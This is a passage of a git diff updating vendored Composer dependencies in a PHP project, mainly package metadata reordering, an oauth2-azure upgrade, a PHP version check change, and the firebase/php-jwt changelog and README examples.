'e98e3e6d4f86621a9b75f623996e6bbdeb4b9318', 'dev_requirement' => false, ), 'laminas/laminas-loader' => array( 'pretty_version' => '2.6.1', 'version' => '2.6.1.0', - 'reference' => '5d01c2c237ae9e68bec262f339947e2ea18979bc', 'type' => 'library', 'install_path' => __DIR__ . '/../laminas/laminas-loader', 'aliases' => array(), + 'reference' => '5d01c2c237ae9e68bec262f339947e2ea18979bc', 'dev_requirement' => false, ), 'laminas/laminas-mail' => array( 'pretty_version' => '2.11.1', 'version' => '2.11.1.0', - 'reference' => '7f674afeb38100b1869ce8e56bf2ec3cba3c679c', 'type' => 'library', 'install_path' => __DIR__ . '/../laminas/laminas-mail', 'aliases' => array(), + 'reference' => '7f674afeb38100b1869ce8e56bf2ec3cba3c679c', 'dev_requirement' => false, ), 'laminas/laminas-mime' => array( 'pretty_version' => '2.7.4', 'version' => '2.7.4.0', - 'reference' => 'e45a7d856bf7b4a7b5bd00d6371f9961dc233add', 'type' => 'library', 'install_path' => __DIR__ . '/../laminas/laminas-mime', 'aliases' => array(), + 'reference' => 'e45a7d856bf7b4a7b5bd00d6371f9961dc233add', 'dev_requirement' => false, ), 'laminas/laminas-servicemanager' => array( 'pretty_version' => '3.5.2', 'version' => '3.5.2.0', - 'reference' => '0669e1eec8d9f61e35a5bc5012796d49f418b259', 'type' => 'library', 'install_path' => __DIR__ . '/../laminas/laminas-servicemanager', 'aliases' => array(), + 'reference' => '0669e1eec8d9f61e35a5bc5012796d49f418b259', 'dev_requirement' => false, ), 'laminas/laminas-stdlib' => array( 'pretty_version' => '3.2.1', 'version' => '3.2.1.0', - 'reference' => '2b18347625a2f06a1a485acfbc870f699dbe51c6', 'type' => 'library', 'install_path' => __DIR__ . '/../laminas/laminas-stdlib', 'aliases' => array(), + 'reference' => '2b18347625a2f06a1a485acfbc870f699dbe51c6', 'dev_requirement' => false, ), 'laminas/laminas-validator' => array( 'pretty_version' => '2.12.2', 'version' => '2.12.2.0', - 'reference' => '0813f234812d9fa9058b6da39eb13dedc90227db', 'type' => 'library', 'install_path' => __DIR__ . '/../laminas/laminas-validator', 'aliases' => array(), + 'reference' => '0813f234812d9fa9058b6da39eb13dedc90227db', 'dev_requirement' => false, ), 'laminas/laminas-zendframework-bridge' => array( 'pretty_version' => '1.1.1', 'version' => '1.1.1.0', - 'reference' => '6ede70583e101030bcace4dcddd648f760ddf642', 'type' => 'library', 'install_path' => __DIR__ . '/../laminas/laminas-zendframework-bridge', 'aliases' => array(), + 'reference' => '6ede70583e101030bcace4dcddd648f760ddf642', 'dev_requirement' => false, ), 'league/oauth2-client' => array( 'pretty_version' => '2.6.1', 'version' => '2.6.1.0', - 'reference' => '2334c249907190c132364f5dae0287ab8666aa19', 'type' => 'library', 'install_path' => __DIR__ . '/../league/oauth2-client', 'aliases' => array(), + 'reference' => '2334c249907190c132364f5dae0287ab8666aa19', 'dev_requirement' => false, ), 'league/oauth2-google' => array( 'pretty_version' => '3.0.4', 'version' => '3.0.4.0', - 'reference' => '6b79441f244040760bed5fdcd092a2bda7cf34c6', 'type' => 'library', 'install_path' => __DIR__ . '/../league/oauth2-google', 'aliases' => array(), + 'reference' => '6b79441f244040760bed5fdcd092a2bda7cf34c6', 'dev_requirement' => false, ), 'nikic/php-parser' => array( 'pretty_version' => 'v4.13.2', 'version' => '4.13.2.0', - 'reference' => '210577fe3cf7badcc5814d99455df46564f3c077', 'type' => 'library', 'install_path' => __DIR__ . '/../nikic/php-parser', 'aliases' => array(), + 'reference' => '210577fe3cf7badcc5814d99455df46564f3c077', 'dev_requirement' => false, ), 'paragonie/random_compat' => array( 'pretty_version' => 'v2.0.18', 'version' => '2.0.18.0', - 'reference' => '0a58ef6e3146256cc3dc7cc393927bcc7d1b72db', 'type' => 'library', 'install_path' => __DIR__ . '/../paragonie/random_compat', 'aliases' => array(), + 'reference' => '0a58ef6e3146256cc3dc7cc393927bcc7d1b72db', 'dev_requirement' => false, ), 'pear/archive_tar' => array( 'pretty_version' => '1.4.14', 'version' => '1.4.14.0', - 'reference' => '4d761c5334c790e45ef3245f0864b8955c562caa', 'type' => 'library', 'install_path' => __DIR__ . '/../pear/archive_tar', 'aliases' => array(), + 'reference' => '4d761c5334c790e45ef3245f0864b8955c562caa', 'dev_requirement' => false, ), 'pear/console_getopt' => array( 'pretty_version' => 'v1.4.3', 'version' => '1.4.3.0', - 'reference' => 'a41f8d3e668987609178c7c4a9fe48fecac53fa0', 'type' => 'library', 'install_path' => __DIR__ . '/../pear/console_getopt', 'aliases' => array(), + 'reference' => 'a41f8d3e668987609178c7c4a9fe48fecac53fa0', 'dev_requirement' => false, ), 'pear/pear-core-minimal' => array( 'pretty_version' => 'v1.10.10', 'version' => '1.10.10.0', - 'reference' => '625a3c429d9b2c1546438679074cac1b089116a7', 'type' => 'library', 'install_path' => __DIR__ . '/../pear/pear-core-minimal', 'aliases' => array(), + 'reference' => '625a3c429d9b2c1546438679074cac1b089116a7', 'dev_requirement' => false, ), 'pear/pear_exception' => array( 'pretty_version' => 'v1.0.1', 'version' => '1.0.1.0', - 'reference' => 'dbb42a5a0e45f3adcf99babfb2a1ba77b8ac36a7', 'type' => 'class', 'install_path' => __DIR__ . '/../pear/pear_exception', 'aliases' => array(), + 'reference' => 'dbb42a5a0e45f3adcf99babfb2a1ba77b8ac36a7', 'dev_requirement' => false, ), 'pelago/emogrifier' => array( 'pretty_version' => 'v3.1.0', 'version' => '3.1.0.0', - 'reference' => 'f6a5c7d44612d86c3901c93f1592f5440e6b2cd8', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), + 'reference' => 'f6a5c7d44612d86c3901c93f1592f5440e6b2cd8', 'dev_requirement' => false, ), 'psr/cache' => array( 'pretty_version' => '1.0.1', 'version' => '1.0.1.0', - 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/cache', 'aliases' => array(), + 'reference' => 'd11b50ad223250cf17b86e38383413f5a6764bf8', 'dev_requirement' => false, ), 'psr/cache-implementation' => array( @@ -259,10 +259,10 @@ 'psr/container' => array( 'pretty_version' => '1.0.0', 'version' => '1.0.0.0', - 'reference' => 'b7ce3b176482dbbc1245ebf52b181af44c2cf55f', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), + 'reference' => 'b7ce3b176482dbbc1245ebf52b181af44c2cf55f', 'dev_requirement' => false, ), 'psr/container-implementation' => array( @@ -275,10 +275,10 @@ 'psr/http-message' => array( 'pretty_version' => '1.0.1', 'version' => '1.0.1.0', - 'reference' => 'f6561bf28d520154e4b0ec72be95418abe6d9363', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), + 'reference' => 'f6561bf28d520154e4b0ec72be95418abe6d9363', 'dev_requirement' => false, ), 'psr/http-message-implementation' => array( @@ -290,10 +290,10 @@ 'psr/log' => array( 'pretty_version' => '1.1.2', 'version' => '1.1.2.0', - 'reference' => '446d54b4cb6bf489fc9d75f55843658e6f25d801', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), + 'reference' => '446d54b4cb6bf489fc9d75f55843658e6f25d801', 'dev_requirement' => false, ), 'psr/log-implementation' => array( @@ -305,10 +305,10 @@ 'psr/simple-cache' => array( 'pretty_version' => '1.0.1', 'version' => '1.0.1.0', - 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/simple-cache', 'aliases' => array(), + 'reference' => '408d5eafb83c57f6365a3ca330ff23aa4a5fa39b', 'dev_requirement' => false, ), 'psr/simple-cache-implementation' => array( @@ -320,10 +320,10 @@ 'ralouphie/getallheaders' => array( 'pretty_version' => '3.0.3', 'version' => '3.0.3.0', - 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'type' => 'library', 'install_path' => __DIR__ . '/../ralouphie/getallheaders', 'aliases' => array(), + 'reference' => '120b605dfeb996808c31b6477290a714d356e822', 'dev_requirement' => false, ), 'rsky/pear-core-min' => array( @@ -335,298 +335,298 @@ 'scssphp/scssphp' => array( 'pretty_version' => '1.0.6', 'version' => '1.0.6.0', - 'reference' => '5b3c9d704950d8f9637f5110c36c281ec47dc13c', 'type' => 'library', 'install_path' => __DIR__ . '/../scssphp/scssphp', 'aliases' => array(), + 'reference' => '5b3c9d704950d8f9637f5110c36c281ec47dc13c', 'dev_requirement' => false, ), 'swiftmailer/swiftmailer' => array( 'pretty_version' => 'v6.3.0', 'version' => '6.3.0.0', - 'reference' => '8a5d5072dca8f48460fce2f4131fcc495eec654c', 'type' => 'library', 'install_path' => __DIR__ . '/../swiftmailer/swiftmailer', 'aliases' => array(), + 'reference' => '8a5d5072dca8f48460fce2f4131fcc495eec654c', 'dev_requirement' => false, ), 'symfony/cache' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'a7a14c4832760bd1fbd31be2859ffedc9b6ff813', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/cache', 'aliases' => array(), + 'reference' => 'a7a14c4832760bd1fbd31be2859ffedc9b6ff813', 'dev_requirement' => false, ), 'symfony/class-loader' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'a22265a9f3511c0212bf79f54910ca5a77c0e92c', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/class-loader', 'aliases' => array(), + 'reference' => 'a22265a9f3511c0212bf79f54910ca5a77c0e92c', 'dev_requirement' => false, ), 'symfony/config' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'bc6b3fd3930d4b53a60b42fe2ed6fc466b75f03f', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/config', 'aliases' => array(), + 'reference' => 'bc6b3fd3930d4b53a60b42fe2ed6fc466b75f03f', 'dev_requirement' => false, ), 'symfony/console' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'a10b1da6fc93080c180bba7219b5ff5b7518fe81', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/console', 'aliases' => array(), + 'reference' => 'a10b1da6fc93080c180bba7219b5ff5b7518fe81', 'dev_requirement' => false, ), 'symfony/css-selector' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'da3d9da2ce0026771f5fe64cb332158f1bd2bc33', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), + 'reference' => 'da3d9da2ce0026771f5fe64cb332158f1bd2bc33', 'dev_requirement' => false, ), 'symfony/debug' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'ab42889de57fdfcfcc0759ab102e2fd4ea72dcae', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/debug', 'aliases' => array(), + 'reference' => 'ab42889de57fdfcfcc0759ab102e2fd4ea72dcae', 'dev_requirement' => false, ), 'symfony/dependency-injection' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '51d2a2708c6ceadad84393f8581df1dcf9e5e84b', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/dependency-injection', 'aliases' => array(), + 'reference' => '51d2a2708c6ceadad84393f8581df1dcf9e5e84b', 'dev_requirement' => false, ), 'symfony/dotenv' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '1022723ac4f56b001d99691d96c6025dbf1404f1', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/dotenv', 'aliases' => array(), + 'reference' => '1022723ac4f56b001d99691d96c6025dbf1404f1', 'dev_requirement' => false, ), 'symfony/event-dispatcher' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '31fde73757b6bad247c54597beef974919ec6860', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/event-dispatcher', 'aliases' => array(), + 'reference' => '31fde73757b6bad247c54597beef974919ec6860', 'dev_requirement' => false, ), 'symfony/filesystem' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'e58d7841cddfed6e846829040dca2cca0ebbbbb3', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/filesystem', 'aliases' => array(), + 'reference' => 'e58d7841cddfed6e846829040dca2cca0ebbbbb3', 'dev_requirement' => false, ), 'symfony/finder' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'b6b6ad3db3edb1b4b1c1896b1975fb684994de6e', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/finder', 'aliases' => array(), + 'reference' => 'b6b6ad3db3edb1b4b1c1896b1975fb684994de6e', 'dev_requirement' => false, ), 'symfony/framework-bundle' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '6c95e747b75ddd2af61152ce93bf87299d15710e', 'type' => 'symfony-bundle', 'install_path' => __DIR__ . '/../symfony/framework-bundle', 'aliases' => array(), + 'reference' => '6c95e747b75ddd2af61152ce93bf87299d15710e', 'dev_requirement' => false, ), 'symfony/http-foundation' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'b9885fcce6fe494201da4f70a9309770e9d13dc8', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-foundation', 'aliases' => array(), + 'reference' => 'b9885fcce6fe494201da4f70a9309770e9d13dc8', 'dev_requirement' => false, ), 'symfony/http-kernel' => array( 'pretty_version' => 'v3.4.49', 'version' => '3.4.49.0', - 'reference' => '5aa72405f5bd5583c36ed6e756acb17d3f98ac40', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/http-kernel', 'aliases' => array(), + 'reference' => '5aa72405f5bd5583c36ed6e756acb17d3f98ac40', 'dev_requirement' => false, ), 'symfony/polyfill-apcu' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => 'b44b51e7814c23bfbd793a16ead5d7ce43ed23c5', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-apcu', 'aliases' => array(), + 'reference' => 'b44b51e7814c23bfbd793a16ead5d7ce43ed23c5', 'dev_requirement' => false, ), 'symfony/polyfill-ctype' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => 'aed596913b70fae57be53d86faa2e9ef85a2297b', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), + 'reference' => 'aed596913b70fae57be53d86faa2e9ef85a2297b', 'dev_requirement' => false, ), 'symfony/polyfill-iconv' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => '085241787d52fa6f7a774fd034135fef0cfd5496', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-iconv', 'aliases' => array(), + 'reference' => '085241787d52fa6f7a774fd034135fef0cfd5496', 'dev_requirement' => false, ), 'symfony/polyfill-intl-idn' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => '4ad5115c0f5d5172a9fe8147675ec6de266d8826', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-idn', 'aliases' => array(), + 'reference' => '4ad5115c0f5d5172a9fe8147675ec6de266d8826', 'dev_requirement' => false, ), 'symfony/polyfill-intl-normalizer' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => '8db0ae7936b42feb370840cf24de1a144fb0ef27', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-intl-normalizer', 'aliases' => array(), + 'reference' => '8db0ae7936b42feb370840cf24de1a144fb0ef27', 'dev_requirement' => false, ), 'symfony/polyfill-mbstring' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => 'b5f7b932ee6fa802fc792eabd77c4c88084517ce', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), + 'reference' => 'b5f7b932ee6fa802fc792eabd77c4c88084517ce', 'dev_requirement' => false, ), 'symfony/polyfill-php56' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => 'ea19621731cbd973a6702cfedef3419768bf3372', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php56', 'aliases' => array(), + 'reference' => 'ea19621731cbd973a6702cfedef3419768bf3372', 'dev_requirement' => false, ), 'symfony/polyfill-php70' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => '3fe414077251a81a1b15b1c709faf5c2fbae3d4e', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php70', 'aliases' => array(), + 'reference' => '3fe414077251a81a1b15b1c709faf5c2fbae3d4e', 'dev_requirement' => false, ), 'symfony/polyfill-php72' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => 'beecef6b463b06954638f02378f52496cb84bacc', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php72', 'aliases' => array(), + 'reference' => 'beecef6b463b06954638f02378f52496cb84bacc', 'dev_requirement' => false, ), 'symfony/polyfill-util' => array( 'pretty_version' => 'v1.19.0', 'version' => '1.19.0.0', - 'reference' => '8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-util', 'aliases' => array(), + 'reference' => '8df0c3e6a4b85df9a5c6f3f2f46fba5c5c47058a', 'dev_requirement' => false, ), 'symfony/routing' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '3e522ac69cadffd8131cc2b22157fa7662331a6c', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/routing', 'aliases' => array(), + 'reference' => '3e522ac69cadffd8131cc2b22157fa7662331a6c', 'dev_requirement' => false, ), 'symfony/stopwatch' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '298b81faad4ce60e94466226b2abbb8c9bca7462', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/stopwatch', 'aliases' => array(), + 'reference' => '298b81faad4ce60e94466226b2abbb8c9bca7462', 'dev_requirement' => true, ), 'symfony/twig-bridge' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '090d19d6f1ea5b9e1d79f372785aa5e5c9cd4042', 'type' => 'symfony-bridge', 'install_path' => __DIR__ . '/../symfony/twig-bridge', 'aliases' => array(), + 'reference' => '090d19d6f1ea5b9e1d79f372785aa5e5c9cd4042', 'dev_requirement' => false, ), 'symfony/twig-bundle' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '977b3096e2df96bc8a8d2329e83466cfc30c373d', 'type' => 'symfony-bundle', 'install_path' => __DIR__ . '/../symfony/twig-bundle', 'aliases' => array(), + 'reference' => '977b3096e2df96bc8a8d2329e83466cfc30c373d', 'dev_requirement' => false, ), 'symfony/var-dumper' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '0719f6cf4633a38b2c1585140998579ce23b4b7d', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/var-dumper', 'aliases' => array(), + 'reference' => '0719f6cf4633a38b2c1585140998579ce23b4b7d', 'dev_requirement' => true, ), 'symfony/web-profiler-bundle' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => 'ccb83b3a508f4a683e44f571f127beebdc315ff9', 'type' => 'symfony-bundle', 'install_path' => __DIR__ . '/../symfony/web-profiler-bundle', 'aliases' => array(), + 'reference' => 'ccb83b3a508f4a683e44f571f127beebdc315ff9', 'dev_requirement' => true, ), 'symfony/yaml' => array( 'pretty_version' => 'v3.4.47', 'version' => '3.4.47.0', - 'reference' => '88289caa3c166321883f67fe5130188ebbb47094', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/yaml', 'aliases' => array(), + 'reference' => '88289caa3c166321883f67fe5130188ebbb47094', 'dev_requirement' => false, ), 'tecnickcom/tcpdf' => array( @@ -636,30 +636,30 @@ ), ), 'thenetworg/oauth2-azure' => array( - 'pretty_version' => 'v2.0.1', - 'version' => '2.0.1.0', - 'reference' => '2649422a0dc74af32d21d9d738d37abcd5b03998', + 'pretty_version' => 'v2.1.1', + 'version' => '2.1.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../thenetworg/oauth2-azure', 'aliases' => array(), + 'reference' => '06fb2d620fb6e6c934f632c7ec7c5ea2e978a844', 'dev_requirement' => false, ), 'true/punycode' => array( 'pretty_version' => 'v2.1.1', 'version' => '2.1.1.0', - 'reference' => 'a4d0c11a36dd7f4e7cd7096076cab6d3378a071e', 'type' => 'library', 'install_path' => __DIR__ . '/../true/punycode', 'aliases' => array(), + 'reference' => 'a4d0c11a36dd7f4e7cd7096076cab6d3378a071e', 'dev_requirement' => false, ), 'twig/twig' => array( 'pretty_version' => 'v1.42.5', 'version' => '1.42.5.0', - 'reference' => '87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e', 'type' => 'library', 'install_path' => __DIR__ . '/../twig/twig', 'aliases' => array(), + 'reference' => '87b2ea9d8f6fd014d0621ca089bb1b3769ea3f8e', 'dev_requirement' => false, ), 'zendframework/zend-loader' => array( diff --git a/lib/composer/platform_check.php b/lib/composer/platform_check.php index 85ef2d984..cd1bd2c5b 100644 --- a/lib/composer/platform_check.php +++ b/lib/composer/platform_check.php @@ -4,8 +4,8 @@ $issues = array(); -if (!(PHP_VERSION_ID >= 70008)) { - $issues[] = 'Your Composer dependencies require a PHP version ">= 7.0.8". You are running ' . PHP_VERSION . '.'; +if (!(PHP_VERSION_ID >= 70103)) { + $issues[] = 'Your Composer dependencies require a PHP version ">= 7.1.3". You are running ' . PHP_VERSION . '.'; } if ($issues) { diff --git a/lib/firebase/php-jwt/CHANGELOG.md b/lib/firebase/php-jwt/CHANGELOG.md new file mode 100644 index 000000000..9242bd30d --- /dev/null +++ b/lib/firebase/php-jwt/CHANGELOG.md @@ -0,0 +1,105 @@ +# Changelog + +## [6.4.0](https://github.com/firebase/php-jwt/compare/v6.3.2...v6.4.0) (2023-02-08) + + +### Features + +* add support for W3C ES256K ([#462](https://github.com/firebase/php-jwt/issues/462)) ([213924f](https://github.com/firebase/php-jwt/commit/213924f51936291fbbca99158b11bd4ae56c2c95)) +* improve caching by only decoding jwks when necessary ([#486](https://github.com/firebase/php-jwt/issues/486)) ([78d3ed1](https://github.com/firebase/php-jwt/commit/78d3ed1073553f7d0bbffa6c2010009a0d483d5c)) + +## [6.3.2](https://github.com/firebase/php-jwt/compare/v6.3.1...v6.3.2) (2022-11-01) + + +### Bug Fixes + +* check kid before using as array index ([bad1b04](https://github.com/firebase/php-jwt/commit/bad1b040d0c736bbf86814c6b5ae614f517cf7bd)) + +## [6.3.1](https://github.com/firebase/php-jwt/compare/v6.3.0...v6.3.1) (2022-11-01) + + +### Bug Fixes + +* casing of GET for PSR compat ([#451](https://github.com/firebase/php-jwt/issues/451)) ([60b52b7](https://github.com/firebase/php-jwt/commit/60b52b71978790eafcf3b95cfbd83db0439e8d22)) +* string interpolation format for php 8.2 ([#446](https://github.com/firebase/php-jwt/issues/446)) ([2e07d8a](https://github.com/firebase/php-jwt/commit/2e07d8a1524d12b69b110ad649f17461d068b8f2)) + +## 6.3.0 / 2022-07-15 + + - Added ES256 support to JWK parsing ([#399](https://github.com/firebase/php-jwt/pull/399)) + - Fixed potential caching error in `CachedKeySet` by caching jwks as strings ([#435](https://github.com/firebase/php-jwt/pull/435)) + +## 6.2.0 / 2022-05-14 + + - Added `CachedKeySet` ([#397](https://github.com/firebase/php-jwt/pull/397)) + - Added `$defaultAlg` parameter to `JWT::parseKey` and `JWT::parseKeySet` ([#426](https://github.com/firebase/php-jwt/pull/426)). + +## 6.1.0 / 2022-03-23 + + - Drop support for PHP 5.3, 5.4, 5.5, 5.6, and 7.0 + - Add parameter typing and return types where possible + +## 6.0.0 / 2022-01-24 + + - **Backwards-Compatibility Breaking Changes**: See the [Release Notes](https://github.com/firebase/php-jwt/releases/tag/v6.0.0) for more information. + - New Key object to prevent key/algorithm type confusion (#365) + - Add JWK support (#273) + - Add ES256 support (#256) + - Add ES384 support (#324) + - Add Ed25519 support (#343) + +## 5.0.0 / 2017-06-26 +- Support RS384 and RS512. + See [#117](https://github.com/firebase/php-jwt/pull/117). Thanks [@joostfaassen](https://github.com/joostfaassen)! +- Add an example for RS256 openssl. + See [#125](https://github.com/firebase/php-jwt/pull/125). Thanks [@akeeman](https://github.com/akeeman)! +- Detect invalid Base64 encoding in signature. + See [#162](https://github.com/firebase/php-jwt/pull/162). Thanks [@psignoret](https://github.com/psignoret)! +- Update `JWT::verify` to handle OpenSSL errors. + See [#159](https://github.com/firebase/php-jwt/pull/159). Thanks [@bshaffer](https://github.com/bshaffer)! +- Add `array` type hinting to `decode` method + See [#101](https://github.com/firebase/php-jwt/pull/101). Thanks [@hywak](https://github.com/hywak)! +- Add all JSON error types. + See [#110](https://github.com/firebase/php-jwt/pull/110). Thanks [@gbalduzzi](https://github.com/gbalduzzi)! +- Bugfix 'kid' not in given key list. + See [#129](https://github.com/firebase/php-jwt/pull/129). Thanks [@stampycode](https://github.com/stampycode)! +- Miscellaneous cleanup, documentation and test fixes. + See [#107](https://github.com/firebase/php-jwt/pull/107), [#115](https://github.com/firebase/php-jwt/pull/115), + [#160](https://github.com/firebase/php-jwt/pull/160), [#161](https://github.com/firebase/php-jwt/pull/161), and + [#165](https://github.com/firebase/php-jwt/pull/165). Thanks [@akeeman](https://github.com/akeeman), + [@chinedufn](https://github.com/chinedufn), and [@bshaffer](https://github.com/bshaffer)! + +## 4.0.0 / 2016-07-17 +- Add support for late static binding. See [#88](https://github.com/firebase/php-jwt/pull/88) for details. Thanks to [@chappy84](https://github.com/chappy84)! +- Use static `$timestamp` instead of `time()` to improve unit testing. See [#93](https://github.com/firebase/php-jwt/pull/93) for details. Thanks to [@josephmcdermott](https://github.com/josephmcdermott)! +- Fixes to exceptions classes. See [#81](https://github.com/firebase/php-jwt/pull/81) for details. Thanks to [@Maks3w](https://github.com/Maks3w)! +- Fixes to PHPDoc. See [#76](https://github.com/firebase/php-jwt/pull/76) for details. Thanks to [@akeeman](https://github.com/akeeman)! + +## 3.0.0 / 2015-07-22 +- Minimum PHP version updated from `5.2.0` to `5.3.0`. +- Add `\Firebase\JWT` namespace. See +[#59](https://github.com/firebase/php-jwt/pull/59) for details. Thanks to +[@Dashron](https://github.com/Dashron)! +- Require a non-empty key to decode and verify a JWT. See +[#60](https://github.com/firebase/php-jwt/pull/60) for details. Thanks to +[@sjones608](https://github.com/sjones608)! +- Cleaner documentation blocks in the code. See +[#62](https://github.com/firebase/php-jwt/pull/62) for details. Thanks to +[@johanderuijter](https://github.com/johanderuijter)! + +## 2.2.0 / 2015-06-22 +- Add support for adding custom, optional JWT headers to `JWT::encode()`. See +[#53](https://github.com/firebase/php-jwt/pull/53/files) for details. Thanks to +[@mcocaro](https://github.com/mcocaro)! + +## 2.1.0 / 2015-05-20 +- Add support for adding a leeway to `JWT:decode()` that accounts for clock skew +between signing and verifying entities. Thanks to [@lcabral](https://github.com/lcabral)! +- Add support for passing an object implementing the `ArrayAccess` interface for +`$keys` argument in `JWT::decode()`. Thanks to [@aztech-dev](https://github.com/aztech-dev)! + +## 2.0.0 / 2015-04-01 +- **Note**: It is strongly recommended that you update to > v2.0.0 to address + known security vulnerabilities in prior versions when both symmetric and + asymmetric keys are used together. +- Update signature for `JWT::decode(...)` to require an array of supported + algorithms to use when verifying token signatures. diff --git a/lib/firebase/php-jwt/README.md b/lib/firebase/php-jwt/README.md index 1d392cd12..ae2b38956 100644 --- a/lib/firebase/php-jwt/README.md +++ b/lib/firebase/php-jwt/README.md @@ -1,4 +1,4 @@ -[![Build Status](https://travis-ci.org/firebase/php-jwt.png?branch=master)](https://travis-ci.org/firebase/php-jwt) +![Build Status](https://github.com/firebase/php-jwt/actions/workflows/tests.yml/badge.svg) [![Latest Stable Version](https://poser.pugx.org/firebase/php-jwt/v/stable)](https://packagist.org/packages/firebase/php-jwt) [![Total Downloads](https://poser.pugx.org/firebase/php-jwt/downloads)](https://packagist.org/packages/firebase/php-jwt) [![License](https://poser.pugx.org/firebase/php-jwt/license)](https://packagist.org/packages/firebase/php-jwt) @@ -29,13 +29,13 @@ Example use Firebase\JWT\JWT; use Firebase\JWT\Key; -$key = "example_key"; -$payload = array( - "iss" => "http://example.org", - "aud" => "http://example.com", - "iat" => 1356999524, - "nbf" => 1357000000 -); +$key = 'example_key'; +$payload = [ + 'iss' => 'http://example.org', + 'aud' => 'http://example.com', + 'iat' => 1356999524, + 'nbf' => 1357000000 +]; /** * IMPORTANT: @@ -98,12 +98,12 @@ ehde/zUxo6UvS7UrBQIDAQAB -----END PUBLIC KEY----- EOD; -$payload = array( - "iss" => "example.org", - "aud" => "example.com", - "iat" => 1356999524, - "nbf" => 1357000000 -); +$payload = [ + 'iss' => 'example.org', + 'aud' => 'example.com', + 'iat' => 1356999524, + 'nbf' => 1357000000 +]; $jwt = JWT::encode($payload, $privateKey, 'RS256'); echo "Encode:\n" . print_r($jwt, true) . "\n"; @@ -139,12 +139,12 @@ $privateKey = openssl_pkey_get_private( $passphrase ); -$payload = array( - "iss" => "example.org", - "aud" => "example.com", - "iat" => 1356999524, - "nbf" => 1357000000 -); +$payload = [ + 'iss' => 'example.org', + 'aud' => 'example.com', + 'iat' => 1356999524, + 'nbf' => 1357000000 +]; $jwt = JWT::encode($payload, $privateKey, 'RS256'); echo "Encode:\n" . print_r($jwt, true) . "\n"; @@ -173,12 +173,12 @@ $privateKey = base64_encode(sodium_crypto_sign_secretkey($keyPair)); $publicKey = 